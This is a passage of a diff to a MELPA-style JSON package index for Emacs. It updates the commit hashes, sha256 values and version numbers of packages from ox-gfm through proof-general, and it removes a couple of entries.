"57c4a0fac36a26cfa8d1296e76afbcf7a5b87a57", - "sha256": "1pavzlb48a7062mrv9ldfwh1fl7pbhwy1i4j24lgmynbnv1kk96n" + "commit": "77dd2a24f3db3641980cca515fbc4cfafdf03630", + "sha256": "1w4n9zwd2ipc8pw6vvxx0xah9zxv0avv075j77k0is5j51iwn635" }, "stable": { "version": [ @@ -90980,16 +91699,16 @@ "repo": "tonini/overseer.el", "unstable": { "version": [ - 20180226, - 619 + 20240109, + 800 ], "deps": [ "dash", "f", "pkg-info" ], - "commit": "02d49f582e80e36b4334c9187801c5ecfb027789", - "sha256": "0q4ai7ividy8xv09s342y49s97ismhfdfsjk70zif60fp0ajfzfn" + "commit": "7fdcf1a6fba6b1569a09c1666b4e51bcde266ed9", + "sha256": "1f0nm253n0k2rcx0zydj8c4nn5gmvhabzraajxdqycb2ak77nbif" }, "stable": { "version": [ @@ -91046,30 +91765,28 @@ "repo": "aki2o/owdriver", "unstable": { "version": [ - 20200410, - 1901 + 20240124, + 925 ], "deps": [ "log4e", - "smartrep", "yaxception" ], - "commit": "3c52a7b11c8275fdb2e4cf98f68f2a48ad09a3ae", - "sha256": "1lxvcbpzpzs3vkgg4pif3k89ddmj5mamk2q18wc3gx0czs6v301d" + "commit": "f272f7c7b374cc4410f56b2ee69b6e9df404819e", + "sha256": "1jqns6qsi3ax9avyjg17cnjxn0jiapn9qp00njsm7dfyrpabxcyd" }, "stable": { "version": [ 0, - 2, - 0 + 3, + 1 ], "deps": [ "log4e", - "smartrep", "yaxception" ], - "commit": "3c52a7b11c8275fdb2e4cf98f68f2a48ad09a3ae", - "sha256": "1lxvcbpzpzs3vkgg4pif3k89ddmj5mamk2q18wc3gx0czs6v301d" + "commit": "f272f7c7b374cc4410f56b2ee69b6e9df404819e", + "sha256": "1jqns6qsi3ax9avyjg17cnjxn0jiapn9qp00njsm7dfyrpabxcyd" } }, { @@ -91224,11 +91941,11 @@ "repo": "larstvei/ox-gfm", "unstable": { "version": [ - 20220910, - 1321 + 20231215, + 1901 ], - "commit": "46faa67dbb3fb0cd7a76c3fe518f16e4195c22c7", - "sha256": "0xiqxahxwaicxdi6apmdsrhvlyg63i9zr57l050f339p8x7id367" + "commit": "4f774f13d34b3db9ea4ddb0b1edc070b1526ccbb", + "sha256": "0hcjxq4ix86kvhk2alc57kkn8i92mxniii20mx0n919zrh97v3vg" }, "stable": { "version": [ @@ -91334,10 +92051,10 @@ }, { "ename": "ox-impress-js", - "commit": "a3c6e6adb1a63534275f9d3d3d0fe0f5e85c549b", - "sha256": "1n7g5ykn95565z7kp83pqvm4y8r4p1jmwh0g7pl3kbw48y1521vc", + "commit": "ec8cb06e00e79a36f614fb7d041ce1f8af3530ff", + "sha256": "116m86af5730k7c2lzxw3cz585n4zj09hcgr0g9r9shbhqd64xl7", "fetcher": "github", - "repo": "nullpofy/org-impress-js.el", + "repo": "takumikinjo/org-impress-js.el", "unstable": { "version": [ 20150412, @@ -91425,28 +92142,28 @@ "repo": "jlumpe/ox-json", "unstable": { "version": [ - 20210928, - 347 + 20240106, + 2116 ], "deps": [ "org", "s" ], - "commit": "4d2e0aa7f92d07e16cea2dd5e1d250a3f243c3cf", - "sha256": "1h5930953nnddg7ysr87m5r6gm517zbfi7jbc77hmrywgibqvpik" + "commit": "57a43e3b3e400d219b80008c51373796b844c6b8", + "sha256": "12fxflyh92awjwfj5gwp8frrbjc63kj7ajlwbsmzgpnp9rr43fpx" }, "stable": { "version": [ 0, - 2, + 3, 0 ], "deps": [ "org", "s" ], - "commit": "aba3face2786d53380ee29459c04d16c999e72ac", - "sha256": "1y1l7in0fxlyrbd6fz4ixydc6kihfx42n7yh5glpjxahhbzqg9b3" + "commit": "57a43e3b3e400d219b80008c51373796b844c6b8", + "sha256": "12fxflyh92awjwfj5gwp8frrbjc63kj7ajlwbsmzgpnp9rr43fpx" } }, { @@ -91599,16 +92316,16 @@ "repo": "emacsorphanage/ox-pandoc", "unstable": { "version": [ - 20230627, - 643 + 20231222, + 1103 ], "deps": [ "dash", "ht", "org" ], - "commit": "0f758517f512e375825679541b5d905be40342eb", - "sha256": "0snq2mkxw7inkrny5dnqknq2i8kz6cyr73w2fnl46r9zxj59ykz0" + "commit": "399d787b6e2124bd782615338b845c3724a47718", + "sha256": "0267m5n08w3h0zpniiwp4ngpmxkjwzndl9kg88k0cknkbqhg27ps" }, "stable": { "version": [ @@ -91669,14 +92386,14 @@ "repo": "DarkBuffalo/ox-report", "unstable": { "version": [ - 20230712, - 1639 + 20231220, + 1625 ], "deps": [ "org-msg" ], - "commit": "91e047968c4730dfe10d1e94836e0747de8c7361", - "sha256": "1fqmkfdgigfjq9f1i80lpdkidafwa5rk5j687j0kkqwaig9lch39" + "commit": "36e7f5e6e8cd836bbfcb0e85be01faab21f725fd", + "sha256": "0lz6nj42yprddmjd1zhcirg1ila4kvrjirip89nby96zxnswqr72" }, "stable": { "version": [ @@ -91930,26 +92647,26 @@ "repo": "ox-tufte/ox-tufte", "unstable": { "version": [ - 20231022, - 2117 + 20240201, + 2132 ], "deps": [ "org" ], - "commit": "58422fb109f2b2a997f9c773b5436e7b62182e12", - "sha256": "14i1pliifj5p0i1bgsdgph32ilj7snrh8gnhk59f1f4ngh3kw3zg" + "commit": "7bd86582afb7d8d504322dcba9848c478579990b", + "sha256": "0pyhbwsqsby52h740jvkrip1d78dkssymiyr31dnqzv3yg7qzj0k" }, "stable": { "version": [ - 3, + 4, 0, - 3 + 4 ], "deps": [ "org" ], - "commit": "58422fb109f2b2a997f9c773b5436e7b62182e12", - "sha256": "14i1pliifj5p0i1bgsdgph32ilj7snrh8gnhk59f1f4ngh3kw3zg" + "commit": "a94de43da30e2a893b5d033747d79ff63bab743f", + "sha256": "15jfwrdawj8flgyfqhsfhdlnam6n5gzw5minnixwxyp69q5vxnpw" } }, { @@ -92198,11 +92915,14 @@ "repo": "melpa/package-build", "unstable": { "version": [ - 20231002, - 1121 + 20240102, + 1647 + ], + "deps": [ + "compat" ], - "commit": "03f878a18c15432d084402e6ca5309c3ba51c78e", - "sha256": "0pf3prlv0l63qgxrkp5cgixykmqwjny4rqwdlqadca6jlg4gb71f" + "commit": "414b328a4f18a6237867739c56e8777e8086d2e8", + "sha256": "0dgglkx44rq824v1ar6xqh2lryqp4qhn2n7d7hc6ar7sal9vx8y2" }, "stable": { "version": [ @@ -92237,16 +92957,16 @@ "repo": "purcell/package-lint", "unstable": { "version": [ - 20231113, - 1518 + 20240118, + 1725 ], "deps": [ "cl-lib", "compat", "let-alist" ], - "commit": "dd81a5b9224cc6e6dc4bbb6b4a2928df89c01317", - "sha256": "1y0h8rrmvi3j5maig6i69kxxr1igb96075vpzbycaqln3xn11g36" + "commit": "3d74189df110b1656c2cd97c332921f4856dbd76", + "sha256": "0yfb31v5zrnaxd61cp1nnn2g07wa8xhmimnh735clc2ccqdjj0ca" }, "stable": { "version": [ @@ -92307,36 +93027,6 @@ } }, { - "ename": "package-safe-delete", - "commit": "61b961211276bd95655b6a0967eda5037a3d240b", - "sha256": "12ss5yjhnyxsif4vlbgxamn5jfa0wxkkphffxnv6drhvmpq226jw", - "fetcher": "github", - "repo": "Fanael/package-safe-delete", - "unstable": { - "version": [ - 20150116, - 1607 - ], - "deps": [ - "epl" - ], - "commit": "138171e4fc03c0ef05a8260cbb5cd2e114c1c194", - "sha256": "1pdv6d6bm5jmpgjqf9ycvzasxz1205zdi0zjrmkr33c03azwz7rd" - }, - "stable": { - "version": [ - 0, - 1, - 7 - ], - "deps": [ - "epl" - ], - "commit": "138171e4fc03c0ef05a8260cbb5cd2e114c1c194", - "sha256": "1pdv6d6bm5jmpgjqf9ycvzasxz1205zdi0zjrmkr33c03azwz7rd" - } - }, - { "ename": "package-utils", "commit": "a1bb884a0299408daa716eba42cb39f79622766c", "sha256": "02hgh7wg68ysfhw5hckrpshzv4vm1vnm395d34x6vpgl4ccx7v9r", @@ -92463,11 +93153,11 @@ "repo": "purcell/page-break-lines", "unstable": { "version": [ - 20230804, - 658 + 20240117, + 1610 ], - "commit": "c4283f580fa4feeb9abcaebb99709007db0a3159", - "sha256": "11b9mxxly3jsiha1znprkbfsgcxppjr2a6qza1xb3pysk3k8szha" + "commit": "e8bfd1ab660030679163f5a4913ff24b99095436", + "sha256": "1jn35d08bmf5m4x99fdc2wdgh8l5cmyaba7zphdr7vvykp7zgmnh" }, "stable": { "version": [ @@ -92614,11 +93304,11 @@ "repo": "sebasmonia/panda", "unstable": { "version": [ - 20230930, - 2224 + 20240102, + 348 ], - "commit": "3c0e3e4e91c5a7e75eacc07e9efa6e6631aa9b90", - "sha256": "0ws0xjapp3zliba6si2b7fkagpxp5ckb818138wdpx1ai0sxbzgb" + "commit": "286785687d4ffe29fd1d95c699d378743d32ac00", + "sha256": "1y2scn0h1n4za9cg9yb065xz7yg8hk8y09miil02shii2vhax7d0" } }, { @@ -92745,16 +93435,30 @@ "repo": "atgreen/paperless", "unstable": { "version": [ - 20230204, - 1815 + 20240130, + 1048 ], "deps": [ "cl-lib", "f", "s" ], - "commit": "e524e31350d74f13319968d24b7326a4a412e105", - "sha256": "1dba7n6ws6f8y5j6qvy8ildjrlz5ahzzpfqcjnvynpycxj54vjs1" + "commit": "ef2e7ef5aeaffa997794f5d6e27be6631ba05d34", + "sha256": "0956hirbmgdnnxsbhwhsw3zsabgmmi7mjxqp4h2jnd0yi8mmm7dr" + }, + "stable": { + "version": [ + 1, + 3, + 2 + ], + "deps": [ + "cl-lib", + "f", + "s" + ], + "commit": "ef2e7ef5aeaffa997794f5d6e27be6631ba05d34", + "sha256": "0956hirbmgdnnxsbhwhsw3zsabgmmi7mjxqp4h2jnd0yi8mmm7dr" } }, { @@ -92915,14 +93619,14 @@ "repo": "tarsius/paren-face", "unstable": { "version": [ - 20230901, - 1236 + 20240101, + 2224 ], "deps": [ "compat" ], - "commit": "0755d46be6cd0448fd9cdc1c8143885f6e03e115", - "sha256": "0lmyxqm6l0ynmyawalqg3x5hlg9g6zqg2l6fpq9bgafbzxdb0xn7" + "commit": "d36fab3529aa3e046493ec373f2c080874cc184f", + "sha256": "1kliaybdcgfs6wadxggb8r82vdnhfa39aar3f8i9vq6w21ljdr4r" }, "stable": { "version": [ @@ -93031,14 +93735,14 @@ "repo": "jcs-elpa/parse-it", "unstable": { "version": [ - 20220704, - 640 + 20240101, + 946 ], "deps": [ "s" ], - "commit": "c1b5ce15a5bcb80595f45e2fc3bda828f525859f", - "sha256": "1f8218m3jmhjhbh98farkvv2cha3b1np58ncfv6zx5xfy050cdm2" + "commit": "cdc4386ef8e94ccdeff3700021d4a944034ae559", + "sha256": "0nya7x9lhphnall1przkpircai9p5r8vc0jg6msrvr02azv2yky9" }, "stable": { "version": [ @@ -93114,20 +93818,20 @@ "repo": "clojure-emacs/parseclj", "unstable": { "version": [ - 20230911, - 1621 + 20231203, + 1905 ], - "commit": "74ff7d63fed92a3c859e474ae85f011e794b751a", - "sha256": "0aal49w2m979m1m4h1d15hgwx6z020cc1c1s8prd1zn9nzlknlhz" + "commit": "6af22372e0fe14df882dd300b22b12ba2d7e00b0", + "sha256": "1iz7qbsq4whmb3iqy777jlm47chjp62313hc6nfcp0lfqsanmcmv" }, "stable": { "version": [ 1, 1, - 0 + 1 ], - "commit": "90595049634549e6d8872f719b13e9555897d17b", - "sha256": "0ifc9gyp7hr97ssnsqxiwrzmldqysz874crlg6jm4iy5l9fyls22" + "commit": "6af22372e0fe14df882dd300b22b12ba2d7e00b0", + "sha256": "1iz7qbsq4whmb3iqy777jlm47chjp62313hc6nfcp0lfqsanmcmv" } }, { @@ -93138,28 +93842,28 @@ "repo": "clojure-emacs/parseedn", "unstable": { "version": [ - 20230929, - 1500 + 20231203, + 1909 ], "deps": [ "map", "parseclj" ], - "commit": "c8f07926a688bfe995fde4460103915d401a1aff", - "sha256": "1pxm50i74id3c4c0j2ifac0wx5zkdq431dmcqbyb6w6k0s05l23c" + "commit": "3407e4530a367b6c2b857dae261cdbb67a440aaa", + "sha256": "0b2jralm5lm4z4lpkn8ygzfga67xsalaszc8gqqv36khmz2mrckc" }, "stable": { "version": [ 1, 2, - 0 + 1 ], "deps": [ "map", "parseclj" ], - "commit": "c8f07926a688bfe995fde4460103915d401a1aff", - "sha256": "1pxm50i74id3c4c0j2ifac0wx5zkdq431dmcqbyb6w6k0s05l23c" + "commit": "3407e4530a367b6c2b857dae261cdbb67a440aaa", + "sha256": "0b2jralm5lm4z4lpkn8ygzfga67xsalaszc8gqqv36khmz2mrckc" } }, { @@ -93185,16 +93889,16 @@ "repo": "NicolasPetton/pass", "unstable": { "version": [ - 20230903, - 914 + 20231206, + 736 ], "deps": [ "f", "password-store", "password-store-otp" ], - "commit": "c721604b3bd0c7ce7870f1a9fa0aa71f352a1009", - "sha256": "1cli3j24wrvghfx49zqjphhpzcnzpm4clac24q7h5xs29l2ab192" + "commit": "ed7031c5c33a384d07da2d15c9d5f854027a26a2", + "sha256": "1c58vanwflc4immfkbb17ckanqviqr3x9g8hcszzmm7kz2xh24n5" }, "stable": { "version": [ @@ -93278,14 +93982,14 @@ "repo": "zx2c4/password-store", "unstable": { "version": [ - 20230503, - 619 + 20231201, + 954 ], "deps": [ "with-editor" ], - "commit": "28cec11f1dbe6c4273d30370af45b69c9f408386", - "sha256": "1h51dp0ycq0h1sai4hb01cs4zr631zp2w2kq11wivd1zc9i1cn1n" + "commit": "b5e965a838bb68c1227caa2cdd874ba496f10149", + "sha256": "0hb5zm7hdp7vmqk39a9s1iyncx4swmwfq30dnnzkjk2y08lnb7ac" }, "stable": { "version": [ @@ -93758,20 +94462,20 @@ "repo": "mhayashi1120/Emacs-pcsv", "unstable": { "version": [ - 20230207, - 757 + 20240112, + 1431 ], - "commit": "4b5e801d213a460a6cb3cb2997a0a6cd33c7bc58", - "sha256": "160lnkslvmm6dzlb5fxdy7zsjz0pcg6x6lmx43xz95sq99kz679v" + "commit": "aa421d12c0da0adb9bc74a050a591dcbabf934ae", + "sha256": "15pwxzr8k98k82p9ni49hh84fh4mrcdcd7nx7xgv3lpm5nj0ix9z" }, "stable": { "version": [ 1, - 3, - 6 + 4, + 0 ], - "commit": "91599aaba70a8e8593fa2f36165af82cbd35e41e", - "sha256": "03k3xhrim4s3yvbnl8g8ci5g7chlffycdw7d6a1pz3077mxf1f1z" + "commit": "aa421d12c0da0adb9bc74a050a591dcbabf934ae", + "sha256": "15pwxzr8k98k82p9ni49hh84fh4mrcdcd7nx7xgv3lpm5nj0ix9z" } }, { @@ -94031,14 +94735,14 @@ "repo": "sebasmonia/pepita", "unstable": { "version": [ - 20200228, - 2257 + 20240102, + 401 ], "deps": [ "csv" ], - "commit": "263d6d940d7e4203bbecda46dbaa89b7af1db54f", - "sha256": "1jw27asnfd48mx3mi9qiihvj2hgzpmk53xdq87ajq9nsx8m6x110" + "commit": "02ac00ad23b9a3e19797fc76ac569c2d46da54b9", + "sha256": "13izh0l980pkh3z859ddgc4plf1649sfxc6ha4nfhx2iws85kgd6" } }, { @@ -94072,14 +94776,11 @@ "repo": "mpwang/perfect-margin", "unstable": { "version": [ - 20220426, - 1701 - ], - "deps": [ - "cl-lib" + 20240111, + 1158 ], - "commit": "e811665951cd48819a63e477e7206c43232a78bd", - "sha256": "1vnh76vp2fdjd2lhc44cw6j0g9gyid23yxk9343i74vb1dnn2xh1" + "commit": "bd15823219c93261536966b4dc65c1ae45a404cf", + "sha256": "1z1f9fkzaryqfrgszjd2s16xi2s9mlzdpl9nsb7c049n8xh0611i" } }, { @@ -94375,16 +95076,16 @@ "repo": "SqrtMinusOne/perspective-exwm.el", "unstable": { "version": [ - 20230218, - 1358 + 20231225, + 2313 ], "deps": [ "burly", "exwm", "perspective" ], - "commit": "01d51f5c92a30b65e8346582ed1ce6513570bb0a", - "sha256": "06lnmbimjj5kyr0mixjagcv903fbn00wvp63wlni2g8c3bhx1p48" + "commit": "68fb0ca2d482e0f4a92c4ceb19bf2262ea937e95", + "sha256": "1sq00ifmdf61m3vpj59b2fc14djy1sxqnwk5wjg4zbkvml9hf7d2" }, "stable": { "version": [ @@ -94535,19 +95236,19 @@ "repo": "emarsden/pg-el", "unstable": { "version": [ - 20231001, - 1501 + 20240110, + 903 ], - "commit": "842c3b88abaa4bbe7300db84d3c70e1719f5659d", - "sha256": "0228yig42g3x79gj1yakgmsj119v0agzvyn888nq6qgcd04i1w0d" + "commit": "84a2e8ed3b9dbb969bbe14544abf2438892f16af", + "sha256": "1dad9irnv3sppl3yfl5swdsf4f1z2fds7r1li3f1kphm37v6jn5g" }, "stable": { "version": [ 0, - 24 + 27 ], - "commit": "842c3b88abaa4bbe7300db84d3c70e1719f5659d", - "sha256": "0228yig42g3x79gj1yakgmsj119v0agzvyn888nq6qgcd04i1w0d" + "commit": "84a2e8ed3b9dbb969bbe14544abf2438892f16af", + "sha256": "1dad9irnv3sppl3yfl5swdsf4f1z2fds7r1li3f1kphm37v6jn5g" } }, { @@ -94741,15 +95442,15 @@ "repo": "knu/phi-search-mc.el", "unstable": { "version": [ - 20160324, - 1503 + 20231213, + 841 ], "deps": [ "multiple-cursors", "phi-search" ], - "commit": "7aa671910f766437089aec26c3aa7814222d1356", - "sha256": "0wr86ad0yl52im6b9z0b9pzmhcn39qg5m9878yfv1nbxliw40lcd" + "commit": "8670eb007604555baa7ef017684a46fc97d254dc", + "sha256": "1f3756w01x1p5jfcxwszdifgixm9cmxk5dzw9nzfhh6r7rzdaawl" }, "stable": { "version": [ @@ -94901,20 +95602,20 @@ "repo": "emacs-php/php-mode", "unstable": { "version": [ - 20230929, - 123 + 20240118, + 1458 ], - "commit": "4a29636243ba7f4afba476348587713531d994bc", - "sha256": "1gavi8gr1hwj1hrnciwc7ckcycl32l42bp2ablw66h1nr12qm698" + "commit": "f0a14387427244251883889ba616c7f042323f6d", + "sha256": "1r3vgzfrq87ffp7g0xx44iwjpakcp23fhd5cxbbnwvia0y49vv8l" }, "stable": { "version": [ 1, 25, - 0 + 1 ], - "commit": "168fc4ec28dc54fc4366b64bc9c431ee53f25984", - "sha256": "1vwbxaxjvz2hhb6pli1bh1qlrc2r991zl4i18wiwk78ffanqx6q0" + "commit": "0c5524073c35c954a25424c914cf249a5fe05d76", + "sha256": "1pxv4c63dma1il6w8vl2485yddp0ngm3gvfdqwjjszanfdxa4fg1" } }, { @@ -95707,10 +96408,10 @@ }, { "ename": "plain-theme", - "commit": "5a936aa9bf89c584c1449bf141c10c85d2aa4d6e", - "sha256": "04nhrq7b60vwqyblnp422yg3sbrf9p02njpbxfmh818n1fzjcx99", + "commit": "daedc521088b9e4b81ef9ce1e54e8520a5b54a56", + "sha256": "0sahhixy74j063hj16ws5d9h226fn6jz2whwj23bb2n28hhgph1y", "fetcher": "github", - "repo": "yanalunaterra/plain-theme", + "repo": "yanateras/plain-theme", "unstable": { "version": [ 20171124, @@ -95879,7 +96580,7 @@ }, { "ename": "play-routes-mode", - "commit": "740cef8687232eb0e2186e8df956c2d4f39575cf", + "commit": "c1f6256e8ef106684b1b546003ec8b591fdea560", "sha256": "17phqil2zf5rfvhs5v743dh4lix4v2azbf33z9n97ahs7j66y2gz", "fetcher": "github", "repo": "brocode/play-routes-mode", @@ -96337,15 +97038,15 @@ "repo": "cybniv/poetry.el", "unstable": { "version": [ - 20230304, - 1540 + 20240103, + 947 ], "deps": [ "pyvenv", "transient" ], - "commit": "5ca52b221e57bb9dce7c89f62e7b01da1346a273", - "sha256": "1622lb747ihk24saiz9kl7k55iwa1cp4bifgg2shchhcdn7mj8vg" + "commit": "ca2cffb0b174e9d814ad95178af84b525dd2b64d", + "sha256": "18vl4fzgf97grz8r6sj1m3brr2cd6jcf5y60v4jhnllwkjfnx52i" }, "stable": { "version": [ @@ -96808,16 +97509,16 @@ "repo": "SqrtMinusOne/pomm.el", "unstable": { "version": [ - 20230602, - 2045 + 20240130, + 2126 ], "deps": [ "alert", "seq", "transient" ], - "commit": "d05d9cb3339ce7fdaf535065b235a5e9bba681f9", - "sha256": "0mf87s020mi33lfkn7bh87jdzlnyskzx6w5bap45j519a8j07zpa" + "commit": "a95343f643b5674ad7714dc62f8436ba87ad8335", + "sha256": "08g28lx8rqvcff7dhcgrxavx59hx507gn6flsx39v0b865i52bmv" }, "stable": { "version": [ @@ -96946,28 +97647,28 @@ "repo": "aki2o/emacs-pophint", "unstable": { "version": [ - 20231112, - 658 + 20240107, + 1043 ], "deps": [ "log4e", "yaxception" ], - "commit": "e17fb22d34f904b4473f6bad0d445e3ca1521669", - "sha256": "1k18qc7s75bfv5z3mrs5snsjh16kcz1r5kxrw7p5rbfk002bgqw7" + "commit": "92854bb12c275980c89c9f6f33eaa36b633db6d7", + "sha256": "110lgic3r04q1xlw35vgmdi1ncafm8cp0a3zl5v9z3r5hmxghjv4" }, "stable": { "version": [ 1, - 3, - 1 + 4, + 0 ], "deps": [ "log4e", "yaxception" ], - "commit": "e17fb22d34f904b4473f6bad0d445e3ca1521669", - "sha256": "1k18qc7s75bfv5z3mrs5snsjh16kcz1r5kxrw7p5rbfk002bgqw7" + "commit": "92854bb12c275980c89c9f6f33eaa36b633db6d7", + "sha256": "110lgic3r04q1xlw35vgmdi1ncafm8cp0a3zl5v9z3r5hmxghjv4" } }, { @@ -97017,11 +97718,11 @@ "repo": "auto-complete/popup-el", "unstable": { "version": [ - 20230819, - 2306 + 20240101, + 830 ], - "commit": "769318d0391e6d9a718e227678234f27f7c13a47", - "sha256": "166v7h5ysark4d953yar0lvds14xjdr1199f6hi5xm16h5h5n56r" + "commit": "6fa7c440879ade009dd0ea37eccc771ced0ef86d", + "sha256": "0q3kpqip0mj8y8ws290v55z3krzlnrrynvj04qdfpkjxndh8ya3z" }, "stable": { "version": [ @@ -97132,22 +97833,21 @@ }, { "ename": "popup-switcher", - "commit": "ef7d1897c4c4a6f4b4527279e6dad976219d7b78", - "sha256": "1888xiqhrn7fcpjnr3smchmmqwfayfbbyvdkdb79c6drzjcvidp1", - "fetcher": "github", + "commit": "add3089ff62ba64bff96523768d18b79653bd491", + "sha256": "1440zymfm908r5c8jf3fj8chrh8d4q2cg32hr877bfafi7gay9rc", + "fetcher": "gitlab", "repo": "kostafey/popup-switcher", "unstable": { "version": [ - 20210402, - 1208 + 20201216, + 2229 ], "deps": [ "cl-lib", - "dash", "popup" ], - "commit": "94e01b9ea7970e86ed0f2fbeaa8cd320b60ae821", - "sha256": "14a43iv6sr52dh1qqcz58qinx20dxkrfznb7lvh35bihjj819m51" + "commit": "166a90c13310b829bd392235bf7cc1e45188faff", + "sha256": "1sgsryc5g2sxsr0mz8r8gs5i4kfh2mnxqs0vpkbmlsbcl40inm0k" } }, { @@ -97283,11 +97983,11 @@ "repo": "lassik/emacs-posix-manual", "unstable": { "version": [ - 20200301, - 1103 + 20231215, + 1604 ], - "commit": "ebaacd7266ae7a66605317f57b9f42e9cfb2ce1e", - "sha256": "0kdcpd59jd1gasqk5gx4ggbyp492b53dy6n3nkv9j2rj8618yzs6" + "commit": "428b10d011082a57db0ce310fad6cd092267e139", + "sha256": "01yln2wav6q1gab59bnsganbv0r53ralpkwvpyqcc12sym3g2r8f" }, "stable": { "version": [ @@ -97329,24 +98029,6 @@ } }, { - "ename": "pow", - "commit": "855ea20024b606314f8590129259747cac0bcc97", - "sha256": "13f3pk52f9lkkl3zi6448j9b39kn6ny9vmnlsvhwa6s0vaz8f220", - "fetcher": "github", - "repo": "yukihr/emacs-pow", - "unstable": { - "version": [ - 20140420, - 806 - ], - "deps": [ - "cl-lib" - ], - "commit": "782532d5d3582fe8fd67014507b20077f3f2d292", - "sha256": "0d87h67qk7jw4fpq3kzzsh5v1k2nhrz6yfl1hzi7hqm5mdvnbfc9" - } - }, - { "ename": "power-mode", "commit": "bc58af06aa1973d1a3fdad0c8a150b26f82bd35b", "sha256": "0mvjngp90gx2qpvi6w2baf6ngw2jrkh8q5rnmy81d54bk0d19dfv", @@ -97544,8 +98226,8 @@ "repo": "blahgeek/emacs-pr-review", "unstable": { "version": [ - 20230723, - 220 + 20231117, + 714 ], "deps": [ "ghub", @@ -97553,8 +98235,8 @@ "magit-section", "markdown-mode" ], - "commit": "1296c81681509044865643ed92474a7d31ead9f3", - "sha256": "07hw222gk0kklv84q6hnzcmbh2gds3098mqrjh1f5nmrqvxg6d68" + "commit": "b55edab544a7706d3d39b8dc6bebdf10b8b901f8", + "sha256": "0q43kr7fq9fa3x3src4brn7ndg206pmj4xrq19fpb6jscxv0svpw" } }, { @@ -97635,19 +98317,19 @@ "repo": "radian-software/prescient.el", "unstable": { "version": [ - 20230909, - 2336 + 20231205, + 137 ], - "commit": "37d356e105fe29d5d3c686dcae2585981299d30b", - "sha256": "0p1sipp0bbkq77far4vp2dhvhrj69izb4v5d6rhy45qv2j2d54qj" + "commit": "b701032968d6ab6f4d37b45fec282cf9c6e479c6", + "sha256": "18k8mki0b904qi4xl50w7bb65xhzl4d6d23qyngw33sbd83m8vq0" }, "stable": { "version": [ 6, - 1 + 2 ], - "commit": "72b023f5fc1ae2bbf2f51f1786cc012d40671bf4", - "sha256": "1mc9pjb80bxcmzaylfwh0sgpvwbx3h35jalznwz464hw3vqfff83" + "commit": "c0eca3328313f1e93d24e686307516f43a484ba2", + "sha256": "1vj21kcqlsa02nvslmxgxsbv4pc93gakj4x2a6rbk87zl6ccw7pk" } }, { @@ -97796,16 +98478,16 @@ "repo": "shaqtsui/prettify-math", "unstable": { "version": [ - 20220101, - 549 + 20231215, + 204 ], "deps": [ "dash", "jsonrpc", "s" ], - "commit": "5bdb9a8af7593d3a38492a618aedc545278fe8a1", - "sha256": "1aid6z5hwrnqx2gidfwpgy6kx2v29kw2q29cnq1rbhh3w49l6m7z" + "commit": "3e659cc446379fb78926db33ac74d296c818b22a", + "sha256": "19pnz13jshr5nj26fz49b7k3ihvs66b57h1bsj87ngpm4kd0qphv" } }, { @@ -98254,11 +98936,11 @@ "repo": "jcs-elpa/project-abbrev", "unstable": { "version": [ - 20220704, - 658 + 20240101, + 932 ], - "commit": "3eb8000e7a07f16e6c8323c1b7e7b45777dbb5cd", - "sha256": "096a3zii443blm3hj2f3jr256hva0qfd3kgvg86n95gagpivs25l" + "commit": "71bceb21c9d9df3ee00c9fbd420fd0c2733941a1", + "sha256": "0kd0li894vr9741fmg9cfxcb8lqchwy61v2idbr4d0ilap8l9xbq" }, "stable": { "version": [ @@ -98312,11 +98994,11 @@ "repo": "fritzgrabo/project-mode-line-tag", "unstable": { "version": [ - 20220720, - 2110 + 20231215, + 807 ], - "commit": "509ac9a01cd344ee9bfa1bfebed6565dd4cfedd7", - "sha256": "0a256hcjyl7qlx08bfqcsacl3kpwgzdf458p4r1sxrwd0b1lz1g9" + "commit": "c63f254e006ddf6ad12c7dc15eed0484d57a8cb5", + "sha256": "0y4paqy4v08wv8m1c4jgyx424d3lsba4bywis7n69qv0dvwid2mb" } }, { @@ -98414,11 +99096,11 @@ "repo": "fritzgrabo/project-tab-groups", "unstable": { "version": [ - 20220720, - 2109 + 20231215, + 755 ], - "commit": "2d348279876f3073176048d903f9672f3c933ca5", - "sha256": "05in97rym6nc91nyshbdk4i1g013gsgzgs5r5nhsshpa9glwpv55" + "commit": "2658405d5f3c539fbd9ccf95297a016a2c91816a", + "sha256": "1zg9kxyjz942ib9lii0in67hwqil2xlz78vjm1qqypw3zaivhh7p" } }, { @@ -98471,11 +99153,11 @@ "repo": "bbatsov/projectile", "unstable": { "version": [ - 20231013, - 1509 + 20240123, + 1424 ], - "commit": "e6889d7f4bc0d2c48ceac56dfe6f4a3d742a3b69", - "sha256": "022ca1185ywmw8pjpkrxkd6d2wp4vbq67x2w724iiw2asy69j7wb" + "commit": "f7e60843bfada2eee89595580786a4468fd3f881", + "sha256": "0y1jrjp9fkcmknvwgl1psmibcfpc3fa9aj87606j9gam1bzr8rf1" }, "stable": { "version": [ @@ -98736,8 +99418,8 @@ "repo": "mohkale/projection", "unstable": { "version": [ - 20231016, - 1934 + 20240106, + 1308 ], "deps": [ "compat", @@ -98745,8 +99427,8 @@ "project", "s" ], - "commit": "e3bd95ee6f729b578f5ee9e15a3dd77e6836c7b6", - "sha256": "1bi5dz5d4r7y8nh3mf08fvk4w9h7628qnyijn6pyfxmzyi9k6n8i" + "commit": "ac6c4e0a70ec4061afa8004cb9686ebc126d2631", + "sha256": "1p0rvrk0625chaw30d67hcpxjznb8mkkp37hlhc1ixpvhp2nr44y" } }, { @@ -98757,15 +99439,15 @@ "repo": "mohkale/projection", "unstable": { "version": [ - 20231016, - 2008 + 20231231, + 1416 ], "deps": [ "compile-multi", "projection" ], - "commit": "89020b23ae607944b1e1071ffbd123a6003fa2cb", - "sha256": "1x71w70316j8apflfxz91gjz0364hd4551gj99813b51f9ww9zly" + "commit": "4115e8f2ac8a9d43a852840c90d48035ced1c3eb", + "sha256": "1jvs1kznr2dgvyq8ylr2cvb40m3cz25msjr6myh61c1537b274da" } }, { @@ -98951,11 +99633,11 @@ "repo": "ProofGeneral/PG", "unstable": { "version": [ - 20231005, - 1645 + 20240123, + 1014 ], - "commit": "bd3615b442974f1e1c3fca0252e081a05525d26b", - "sha256": "0vmp2kqf5g5a8h79110r4mw8xkag0kwsi50dbpxbifpaabk4drzh" + "commit": "c6b7d506f991d7b97556341039558ef64c902382", + "sha256": "0i9b6h6krpqxa5nrrfk30sj01wi88387iymbyl3adyxfdfx28vgm" }, "stable": { "version": [ @@ -99064,10 +99746,10 @@ "stable": { "version": [ 25, - 1 + 2 ], - "commit": "7f94235e552599141950d7a4a3eaf93bc87d1b22", - "sha256": "0apvjl43f751iy3472cc17wqmnmzlcgn9sw2wxsmddaz9km7kbn3" + "commit": 